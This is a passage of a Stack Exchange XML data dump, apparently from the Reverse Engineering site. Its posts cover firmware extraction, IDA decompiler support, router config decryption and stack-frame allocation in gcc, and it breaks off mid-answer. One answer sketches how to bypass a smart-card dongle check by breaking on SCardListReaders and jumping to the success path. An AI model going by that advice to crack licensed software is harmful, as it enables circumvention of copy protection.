  <row Id="14869" PostTypeId="1" AcceptedAnswerId="14874" CreationDate="2017-03-10T06:09:00.533" Score="0" ViewCount="1909" Body="&lt;p&gt;I have a Finger pulse oximeter and inside I found a STM32F030C8T6 MCU.&#xA;I'm looking to replace the firmware with one of my own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to dump the current firmware and restore it, perhaps even to another dev board running the exact same cpu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exposed pins: TX, RX, GND, VBAT, 3.3V&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a ST-Link V2 clone and am familiar with uploading new firmware, just not downloading existing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To upload new firmware, I run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;st-util&#xA;arm-none-eabi-gdb new_firmware.elf&#xA;(gdb) target extended localhost:4242&#xA;(gdb) load&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure what the process is to download existing though. Little help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Photos of the board:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/74ouV.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/74ouV.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ycmbU.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/ycmbU.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19450" LastActivityDate="2017-04-09T15:51:53.790" Title="Extract firmware from STM32F030 using ST-Link clone" Tags="|firmware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14870" PostTypeId="2" ParentId="14865" CreationDate="2017-03-10T10:31:07.320" Score="5" Body="&lt;p&gt;There is nothing strange in structures or objects with large arrays or other structures inside.In addition I see that most of the large offsets are counted from &lt;code&gt;ecx&lt;/code&gt; register, which fits to the definition of Visual Studio variant  of __thiscall calling convention. So I think that it is just large structure or object. In addition - structures in IDA not intended to restore original structures, they are intended to make structure in created code, so if it organizes resulting code better - why not to use it anyway ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can check where the memory in which this parameter allocated comes from. If you see that it is allocated with single &lt;code&gt;malloc&lt;/code&gt; or &lt;code&gt;new&lt;/code&gt; operator it should be single object/structure or array of objects/structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(quote from &lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#thiscall&quot; rel=&quot;noreferrer&quot;&gt;x86 calling conventions Wiki article&lt;/a&gt;) &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;On the Microsoft Visual C++ compiler, the this pointer is passed in&#xA;  ECX and it is the callee that cleans the stack, mirroring the stdcall&#xA;  convention used in C for this compiler and in Windows API functions.&#xA;  When functions use a variable number of arguments, it is the caller&#xA;  that cleans the stack (cf. cdecl). The thiscall calling convention can&#xA;  only be explicitly specified on Microsoft Visual C++ 2005 and later.&#xA;  On any other compiler thiscall is not a keyword. (However,&#xA;  disassemblers, such as IDA, must specify it. So IDA uses keyword&#xA;  __thiscall for this.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2017-03-10T10:31:07.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14871" PostTypeId="1" CreationDate="2017-03-10T12:59:05.440" Score="0" ViewCount="3198" Body="&lt;p&gt;So I'm learning Reverse Engineering / Software cracking.   I have a program that I am practicing on that requires a dongle in order for the program to start.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking through the disassembly of the program I figured out that at some point of the execution the program is calling  winscard.dll    When the dongle is inserted,  in Windows it comes up as a smart card reader.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When there is no dongle inserted, the software gives you a MessageBox stating The dongle not found.   I've found this execution point in user32.dll, but I can't figure out at which point does the main software call this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to figure out at what point does the software call winscard.dll and what it's looking for as a return.    I've tried to figure this out with Ollydbg and also IDA Pro.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help for someone trying to learn would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="19456" LastEditorUserId="245" LastEditDate="2018-11-22T08:55:38.583" LastActivityDate="2022-01-30T09:24:18.213" Title="Reversing a program with dongle" Tags="|ida|windows|ollydbg|debuggers|dongle|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14872" PostTypeId="2" ParentId="14871" CreationDate="2017-03-10T13:54:29.453" Score="1" Body="&lt;p&gt;First please not that the dongle may be used for cryptographic purposes, so there might be no point in trying to skip the check. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, winscard.dll can not be called. Try to set a breakpoint on common methods like &lt;code&gt;SCardEstablishContext&lt;/code&gt; and &lt;code&gt;SCardListReaders&lt;/code&gt; to find the right check.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if no SmartCard is connected to the system at all, &lt;code&gt;SCardListReaders&lt;/code&gt; will return 0x8010002E (&lt;code&gt;SCARD_E_NO_READERS_AVAILABLE&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming the second check would involve the &lt;code&gt;mszReaders&lt;/code&gt; parameter of the function to check if the right reader is connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you knew the location of the 'success'-path (i.e. the address which is executed when everything is fine) you could try to jump there from these locations, else you will have to go though the next branches as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-03-10T13:54:29.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14873" PostTypeId="2" ParentId="13700" CreationDate="2017-03-10T14:18:01.427" Score="2" Body="&lt;p&gt;We recently added a &quot;Free Mode&quot; to Hibernation Recon which will extract the active contents from your Windows hibernation files (legacy or modern formats) into physical memory dumps. You will also get statistics related to the various kinds of slack within the hiberfil.sys files and interesting NTFS metadata within both active contents and slack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a direct download link:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://arsenalrecon.com/apps/download/HibernationRecon_1.1.0.55_Beta.zip&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://arsenalrecon.com/apps/download/HibernationRecon_1.1.0.55_Beta.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some screenshots and more information here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://arsenalrecon.com/apps/hibernation-recon/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://arsenalrecon.com/apps/hibernation-recon/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We'll post updates @ArsenalArmed.&lt;/p&gt;&#xA;" OwnerUserId="19459" LastActivityDate="2017-03-10T14:18:01.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14874" PostTypeId="2" ParentId="14869" CreationDate="2017-03-10T14:58:31.107" Score="1" Body="&lt;p&gt;Get the datasheet for the chip and try tracing the JTAG/SWD pins. Possibly some of them are routed to the unlabeled 7-pin pad at the top. To dump the firmware you can probably just use the &lt;a href=&quot;https://sourceware.org/gdb/onlinedocs/gdb/Dump_002fRestore-Files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dump&lt;/code&gt; command&lt;/a&gt; (see the datasheet for memory ranges)&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-03-10T14:58:31.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14875" PostTypeId="1" AcceptedAnswerId="14876" CreationDate="2017-03-10T15:37:39.390" Score="3" ViewCount="4340" Body="&lt;p&gt;I am working on a &lt;a href=&quot;http://www.mediafire.com/file/546xcc9bv4qcamg/bender_safe&quot; rel=&quot;nofollow noreferrer&quot;&gt;MIPS binary&lt;/a&gt;: &lt;code&gt;ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=76438e9ed749bcfc6e191e548da153d0d3b3ee28, not stripped&#xA;&lt;/code&gt;. IDA Pro 6.95 (32 bit) disassembles the file pretty well, yet the decompiler gives up: &lt;code&gt;Sorry, the current file is not decompilable&lt;/code&gt;. Doesn't IDA Pro have decompilation support for MIPS?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="2318" LastEditDate="2017-03-11T09:49:16.040" LastActivityDate="2020-12-02T22:26:51.487" Title="Doesn't IDA Pro 6.95 support decompiling MIPS executable?" Tags="|ida|decompilation|hexrays|mips|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14876" PostTypeId="2" ParentId="14875" CreationDate="2017-03-10T16:38:52.470" Score="4" Body="&lt;p&gt;No, IDA version 6.95 doesn't support it. See &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex-rays.com/products/decompiler&lt;/a&gt; for more details.&#xA;Regarding other news and features see &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/news.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;decompiler news page&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Update (12/3/2020):&#xA;The original answer was written ~2017, and since then IDA added MIPS decompiler support. AFAIK it was added in version 7.5.2.&#xA;See &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/compare/mips/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for comparison between decompilation and disassembly for various MIPS variants.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2020-12-02T22:26:51.487" LastActivityDate="2020-12-02T22:26:51.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="14877" PostTypeId="1" CreationDate="2017-03-10T22:30:09.553" Score="9" ViewCount="14825" Body="&lt;p&gt;I have a ELF file, which is a partial firmware of a navigation module(my BMW idrive CCC), I need to decompile the elf file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Reko Decompiler which said it does not support SH4 and Snowman plugin on IDA and but looks like it does not detect the SH4 architecture cause it brought some push and pop instruction in C code, which besides the fact that it is considered cheating for a decompiler!, SH4 architecture has register block that does not need push and pop while calling routines, it actually does not have such thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the following picture, the floating window at right shows the correct assembly code, unassembelied out of my ELF file. at the center however you see some incorrect assembly that snowman derived from ELF file which is totaly different! comparing with the correct one.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Libir.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Libir.jpg&quot; alt=&quot;IDA&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the decompiler &lt;strong&gt;MUST&lt;/strong&gt; support architecture.&#xA;I need a good Decompiler that can support SH4 architecture and ELF files.&lt;/p&gt;&#xA;" OwnerUserId="19355" LastEditorUserId="19355" LastEditDate="2017-03-11T10:14:26.870" LastActivityDate="2021-05-25T09:04:50.453" Title="What is a good and reliable C decompiler that support ELF and SH4 Architecture?" Tags="|elf|decompiler|" AnswerCount="2" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="14878" PostTypeId="1" CreationDate="2017-03-10T22:37:32.293" Score="1" ViewCount="69" Body="&lt;p&gt;This can be difficult to ask because 1) people assume this is necessarily malicious and 2) unrelated but effectual techniques like GetForegroundWindow can make this impossible to answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, to keep this as general as possible: If I wish to send keyboard and mouse events to a program but it is ignoring messages other programs receive and interpret just fine, what might I try? What might the developers be trying? The goal is to have multiple windows receiving input at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My specific case is that I wish to be doing things on my system while the target window receives clicks and keyboard input at a set interval. I could just toggle foreground, but I really don't want to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this would better fit somewhere else than reverseengineering or if some variation on this has already been asked I would, of course, be perfectly content to respectively post elsewhere or read said variation.&lt;/p&gt;&#xA;" OwnerUserId="13272" LastActivityDate="2017-03-10T22:37:32.293" Title="Fighting programs that don't respond to Send/PostMessage-based input" Tags="|windows|c|winapi|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14879" PostTypeId="2" ParentId="14835" CreationDate="2017-03-11T02:38:27.697" Score="0" Body="&lt;p&gt;I've had similar problems. I can offer an easy fix that does a partial job (it was good enough for my needs at the time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fairly simple fix to implement using IDAPython is applying the following logic:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;iterate over all addresses&lt;/li&gt;&#xA;&lt;li&gt;if addresses contains data and has a code xref pointing to it -&gt; convert to code&lt;/li&gt;&#xA;&lt;li&gt;retry defining functions adjacent to the correction you just made&lt;/li&gt;&#xA;&lt;li&gt;if addresses contains code and has a data xref&#xA;pointing to it -&gt; convert to data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Keep in mind this is a general guideline to what you need to implement. The actual implementation requires some fiddling.&#xA;This doesn't solve everything but it solves many of the problems.&#xA;It helped me sort through a very troublesome IDB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this is what you were looking for.&lt;/p&gt;&#xA;" OwnerUserId="12556" LastActivityDate="2017-03-11T02:38:27.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14880" PostTypeId="1" CreationDate="2017-03-11T14:16:02.607" Score="8" ViewCount="1840" Body="&lt;p&gt;I do not understand the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a very simple dummy C function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void vulnerable_function(char* string) { &#xA;    char buffer[100];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use &lt;code&gt;gdb&lt;/code&gt; to disassemble it, I obtain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x08048464 &amp;lt;+0&amp;gt;:  push   %ebp&#xA;0x08048465 &amp;lt;+1&amp;gt;:  mov    %esp,%ebp&#xA;0x08048467 &amp;lt;+3&amp;gt;:  sub    $0x88,%esp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I really do not understand why the stack pointer is decremented by 0x88. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believed that it would be &lt;code&gt;0x64&lt;/code&gt; instead of &lt;code&gt;0x88&lt;/code&gt;. Can you explain it please?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="19467" LastEditorUserId="2147" LastEditDate="2017-03-11T22:01:33.287" LastActivityDate="2018-08-03T12:47:12.713" Title="basic reversing question about local variable" Tags="|disassembly|x86|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14881" PostTypeId="2" ParentId="11626" CreationDate="2017-03-11T19:07:49.360" Score="1" Body="&lt;p&gt;In order to get key you need to check &lt;code&gt;CSPDBGetFileEncryKey&lt;/code&gt; function&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2017-03-12T00:14:28.140" LastActivityDate="2017-03-12T00:14:28.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14882" PostTypeId="1" CreationDate="2017-03-11T23:42:34.533" Score="4" ViewCount="5802" Body="&lt;p&gt;I have this file from my router its backup of user config,I suppose its compresed with zlib and encrypted with AES. Utility which is resposible to compress it and encrypt it is called &lt;a href=&quot;https://mega.nz/#!tIRxEApS!5FAbRXIwNZd7kmve94jmK37QWOLdfZ_Hv6PNhLSKfZ4&quot; rel=&quot;nofollow noreferrer&quot;&gt;cspd&lt;/a&gt;. In side cspd there is function called &lt;code&gt;dbcCfgFileDecry&lt;/code&gt; in which Im interested, If anyone could help me identify how this function decrypt config file I would be most grateful.I can run gdbserver on router with cspd as argument but it just exit, I also tried to attach to existing cspd proces (there is several of them) but router just crashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I just found that inside &lt;code&gt;encry&lt;/code&gt; function there is &lt;code&gt;CSPDBGetFileEncryKey&lt;/code&gt; so the key is stored inside DB ?? There is also utility on router caled &lt;a href=&quot;https://mega.nz/#!AMR3HA5J!hnIwDa7Kw9NxUiNs8o7vNPyMSK0ptzSaiYl33zWDCb8&quot; rel=&quot;nofollow noreferrer&quot;&gt;sendcmd&lt;/a&gt; which is responsable in manipulating of DB. If I run sendcmd with &lt;code&gt;sendcmd 1 DB&lt;/code&gt; I get&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fc [bin-file-name]:compress user config to bin-file-name&#xA;fuc [bin-file-name]:uncompress bin-file-name to user config&#xA;decry : cfg decry&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I did tried it but it does not work&lt;/p&gt;&#xA;" OwnerUserId="3810" LastEditorUserId="3810" LastEditDate="2017-03-12T00:26:31.297" LastActivityDate="2023-02-16T00:00:40.117" Title="How to decrypt the config.bin from ZTE ZXV10 H201L" Tags="|binary-analysis|linux|decryption|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14883" PostTypeId="2" ParentId="14880" CreationDate="2017-03-12T00:22:47.197" Score="12" Body="&lt;p&gt;There are several factors involved in how much space is allocated by the compiler for a function's stack frame on the process runtime stack:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;space required for saving copies of arguments to the function in the stack frame&lt;/li&gt;&#xA;&lt;li&gt;space required for storing local variables in the stack frame&lt;/li&gt;&#xA;&lt;li&gt;Stack alignment to a 16-byte boundary (GCC default for i386 architecture)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Background&lt;/h2&gt;&#xA;&#xA;&lt;h3&gt;The i386 ABI&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Stack Frame Specification&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specification for the stack frame on x86 machines is given in Chapter 3: &quot;Low-Level System Information&quot; in the &lt;a href=&quot;http://refspecs.linux-foundation.org/elf/abi386-4.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V Application Binary Interface Intel386 Architecture Processor Supplement, Fourth Edition&lt;/a&gt; in the section titled &quot;Function Calling Sequence&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Within this specification, the term &lt;em&gt;halfword&lt;/em&gt; refers to a 16-bit object, the term &lt;em&gt;word&lt;/em&gt; refers to a 32-bit object, and the term &lt;em&gt;doubleword&lt;/em&gt; refers to a 64-bit object.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here are relevant excerpts:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The stack is word aligned.  Although the architecture does not require any &#xA;  alignment of the stack, software convention and the operating system requires that the stack be aligned on a word boundary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;An argument’s size is increased, if necessary, to make it a multiple of words. This may require tail padding, depending on the size of the argument.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Other areas depend on the compiler and the code being compiled.  The standard calling sequence does not define a maximum stack frame size, nor does&#xA;  it restrict how a language system uses the ‘‘unspecified’’ area of the standard stack frame.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The &quot;unspecified&quot; area in a stack frame is the space created for local variables and where arguments to the function are copied to. This space is managed by the compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a diagram from the ABI:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qBKgx.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qBKgx.png&quot; alt=&quot;Standard Stack Frame, i386&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Alignment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the compiler that manages stack frames, and in order for a stack frame to be aligned the alignment of variables within the stack frame must also be known.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alignment of variables depends on their type and the architecture of the CPU.&#xA;This is also specified in the ABI:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/z40Xp.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/z40Xp.png&quot; alt=&quot;Fundamental types, i386&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are conventions that pertain specifically to the alignment of arrays, structures and unions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Aggregates (structures and arrays) and unions assume the alignment of their most strictly aligned component.  The size of any object, including aggregates and unions, is always a multiple of the object’s alignment.  An array uses the same alignment as its elements.  Structure and union objects can require padding to meet size and alignment constraints.  The contents of any padding is undefined. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, on i386 architecture systems, GCC aligns the stack to a 16-byte boundary by default:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-4.5.3/gcc/i386-and-x86_002d64-Options.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;-mpreferred-stack-boundary=num&lt;/code&gt;&lt;/a&gt;&lt;br&gt;&#xA;     Attempt to keep the stack boundary aligned to a 2 raised to num byte boundary. If &lt;code&gt;-mpreferred-stack-boundary&lt;/code&gt; is not specified, the default is 4 (16 bytes or 128 bits). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This means that the compiler allocates 16 bytes of space on the stack frame for variables whose type sizes are less than 16 bytes. For example, even though an &lt;code&gt;int&lt;/code&gt; is 4 bytes on an i386 system, the compiler would still allocate 16 bytes of space on the stack frame for it.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The stack frame for vulnerable_function()&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Let us analyze how the compiler allocates space on a function's stack frame with 2 simple examples: a function with a &lt;code&gt;char&lt;/code&gt; pointer local variable and a function with a 100-byte &lt;code&gt;char&lt;/code&gt; array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A function called &lt;code&gt;pointer_test&lt;/code&gt; with &lt;code&gt;char&lt;/code&gt; pointer local variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void pointer_test(void) {&#xA;    char *i = &quot;test&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assembly code generated by &lt;code&gt;gcc&lt;/code&gt; + &lt;code&gt;as&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dump of assembler code for function pointer_test:&#xA;   0x080483db &amp;lt;+0&amp;gt;:     push   %ebp&#xA;   0x080483dc &amp;lt;+1&amp;gt;:     mov    %esp,%ebp&#xA;   0x080483de &amp;lt;+3&amp;gt;:     sub    $0x10,%esp  &amp;lt;-- 16 bytes of space created for 4-byte pointer&#xA;   0x080483e1 &amp;lt;+6&amp;gt;:     movl   $0x8048480,-0x4(%ebp)&#xA;   0x080483e8 &amp;lt;+13&amp;gt;:    nop&#xA;   0x080483e9 &amp;lt;+14&amp;gt;:    leave  &#xA;   0x080483ea &amp;lt;+15&amp;gt;:    ret  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we see that 16 bytes of space were allocated for a 4-byte pointer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A function called &lt;code&gt;char_array_test&lt;/code&gt; with a char array local variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void char_array_test(void) {&#xA;    char buffer[100];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Assembly code generated by &lt;code&gt;gcc&lt;/code&gt; + &lt;code&gt;as&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dump of assembler code for function char_array_test:&#xA;   0x0804844b &amp;lt;+0&amp;gt;:     push   %ebp&#xA;   0x0804844c &amp;lt;+1&amp;gt;:     mov    %esp,%ebp&#xA;   0x0804844e &amp;lt;+3&amp;gt;:     sub    $0x78,%esp  &amp;lt;-- 120 bytes of space created for 100-byte array&#xA;   0x08048451 &amp;lt;+6&amp;gt;:     mov    %gs:0x14,%eax&#xA;   0x08048457 &amp;lt;+12&amp;gt;:    mov    %eax,-0xc(%ebp)&#xA;   0x0804845a &amp;lt;+15&amp;gt;:    xor    %eax,%eax&#xA;   0x0804845c &amp;lt;+17&amp;gt;:    nop&#xA;   0x0804845d &amp;lt;+18&amp;gt;:    mov    -0xc(%ebp),%eax&#xA;   0x08048460 &amp;lt;+21&amp;gt;:    xor    %gs:0x14,%eax&#xA;   0x08048467 &amp;lt;+28&amp;gt;:    je     0x804846e &amp;lt;char_array_test+35&amp;gt;&#xA;   0x08048469 &amp;lt;+30&amp;gt;:    call   0x8048310 &amp;lt;__stack_chk_fail@plt&amp;gt;&#xA;   0x0804846e &amp;lt;+35&amp;gt;:    leave  &#xA;   0x0804846f &amp;lt;+36&amp;gt;:    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we see that 120 bytes of space were allocated for a 100-byte array.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of &lt;code&gt;void vulnerable_function(char *string)&lt;/code&gt;, space in the stack frame must be allocated by &lt;code&gt;gcc&lt;/code&gt; for a 4-byte pointer and a 100-byte array. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;As we observed above in &lt;code&gt;pointer_test()&lt;/code&gt;, since &lt;code&gt;gcc&lt;/code&gt; aligns allocated space to 16-byte boundaries by default,  16 bytes of space are also allocated on the stack frame for the 4-byte pointer&lt;code&gt;char *string&lt;/code&gt;, the argument to the function.&lt;/li&gt;&#xA;&lt;li&gt;We observed above in &lt;code&gt;char_array_test()&lt;/code&gt; that &lt;code&gt;gcc&lt;/code&gt; allocates 120 bytes of space for a 100 byte array (120 is not a multiple of 16, so this is not aligned with a 16-byte boundary. I do not know why the compiler does this). Likewise, the compiler allocates 120 bytes of space for &lt;code&gt;char buffer[100]&lt;/code&gt; in &lt;code&gt;vulnerable_function()&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0x10 bytes for &lt;code&gt;string&lt;/code&gt; + 0x78 bytes for &lt;code&gt;buffer[100]&lt;/code&gt; = 0x88&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Resources&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://godbolt.org/&quot; rel=&quot;noreferrer&quot;&gt;Compiler Explorer&lt;/a&gt; is an interactive compiler that runs in your browser. Playing around with it is much faster than constantly recompiling code and disassembling it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://refspecs.linux-foundation.org/elf/abi386-4.pdf&quot; rel=&quot;noreferrer&quot;&gt;The System V Application Binary Interface Intel386 Architecture Processor Supplement, Fourth Edition&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc-4.5.3/gcc/i386-and-x86_002d64-Options.html&quot; rel=&quot;noreferrer&quot;&gt; Intel 386 and AMD x86-64 Options for GCC&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/X86_calling_conventions#cdecl&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;cdecl&lt;/code&gt; and x86 calling conventions&lt;/a&gt; discusses calling conventions in x86 compilers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://lwn.net/Articles/335942/&quot; rel=&quot;noreferrer&quot;&gt;Poke-a-hole and friends&lt;/a&gt; is an&#xA;article that discusses how structures are padded in order to maintain alignment and how this changes across architectures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;related SO questions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1061818/stack-allocation-padding-and-alignment&quot;&gt;Stack allocation, padding, and 